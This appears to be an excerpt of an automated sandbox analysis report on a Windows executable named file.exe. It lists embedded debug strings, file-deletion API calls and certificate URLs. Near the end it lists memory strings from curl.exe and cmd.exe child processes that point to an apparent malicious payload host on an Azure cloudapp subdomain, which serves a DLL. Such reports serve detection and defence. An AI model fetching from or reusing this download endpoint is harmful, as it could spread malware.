Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3018996963.00007FFE1A453000.00000002.00000001.01000000.00000008.sdmp, select.pyd.0.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: file.exe, 00000000.00000003.1754551936.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: file.exe, 00000000.00000003.1751564708.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: file.exe, 00000000.00000003.1752254686.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: file.exe, 00000000.00000003.1751690780.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: file.exe, 00000000.00000003.1750170866.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749386479.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: file.exe, 00000000.00000003.1753999667.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: file.exe, 00000000.00000003.1750613362.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754551936.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750979635.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: file.exe, 00000000.00000003.1750492184.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751802736.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754116826.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751564708.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: file.exe, 00000000.00000003.1751343265.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1s 1 Nov 2022built on: Mon Jan 9 20:35:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.0.dr
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: file.exe, 00000000.00000003.1753659236.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.0.dr
Source: Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.0.dr
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752494159.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: file.exe, 00000000.00000003.1754336115.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.0.dr
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B85A0 FindFirstFileExW,FindClose,0_2_00007FF6399B85A0
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399B79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00007FF6399B79B0
Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00007FF6399D0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF6399D0B84
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B85A0 FindFirstFileExW,FindClose,1_2_00007FF6399B85A0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399B79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,1_2_00007FF6399B79B0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FF6399D0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,1_2_00007FF6399D0B84
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1CD4E0 FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,1_2_00007FFDFF1CD4E0
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF1CD274 FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,1_2_00007FFDFF1CD274
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFE14635B24 memset,recvfrom,1_2_00007FFE14635B24
Source: file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.co
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3015368377.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3015368377.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3015368377.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: unicodedata.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3015368377.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749386479.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3015368377.0000019DE7D2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1757299329.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1755492210.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748538960.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _hashlib.pyd.0.dr, libcrypto-1_1.dll.0.dr, _bz2.pyd.0.dr, _lzma.pyd.0.dr, unicodedata.pyd.0.drString found in binary or memory: http://ocsp.digicert.com0X
Source: cmd.exe, 00000014.00000002.2301125522.0000011D339BB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2614401574.000001F6D755B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000024.00000002.2826345044.0000025479CAA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazils
Source: cmd.exe, 0000000B.00000002.1987434751.00000151D2B3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazils)
Source: cmd.exe, 00000017.00000002.2406037996.000002495FCDB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsMUa
Source: cmd.exe, 0000000E.00000002.2093847695.0000023B32ECA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsa;V%t
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsotth.clo
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsotth.cloJh
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091064539.0000023561B53000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091103305.0000023561B56000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.2825899074.000002913BBA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.clo
Source: curl.exe, 00000029.00000002.2934470574.0000019D78D70000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000002.2934470574.0000019D78D79000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180
Source: curl.exe, 00000016.00000002.2300773885.0000021670880000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180$i
Source: curl.exe, 0000001D.00000002.2509049134.0000020D856D8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.2825899074.000002913BBA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180&
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F670000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180)
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180-=o
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000002.1882730514.000001DC607C9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091064539.0000023561B53000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000010.00000003.2091103305.0000023561B56000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000020.00000002.2614033596.00000268D07A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180.dll
Source: curl.exe, 0000000D.00000003.1986647972.000002C391116000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.1986571053.000002C391113000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180.dllw=
Source: curl.exe, 00000004.00000002.1778152644.0000016B7F679000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180/e
Source: curl.exe, 00000007.00000002.1882730514.000001DC607C9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=8351801
Source: curl.exe, 00000013.00000002.2196917776.0000027F4B1C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=8351802
Source: cmd.exe, 00000002.00000002.1778550741.000001E9C2AB0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1883570103.00000227A2880000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.1987567333.00000151D2EF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000E.00000002.2093960065.0000023B33100000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2197379199.000001862F590000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2301212790.0000011D33BD0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000017.00000002.2406000528.000002495FC90000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001B.00000002.2509466072.000002173DD20000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2614482891.000001F6D7860000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000021.00000002.2722701350.000001AF23E10000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000024.00000002.2826434707.0000025479FF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000027.00000002.2934998851.0000015E6BBD0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=8351802OneDrive=C:
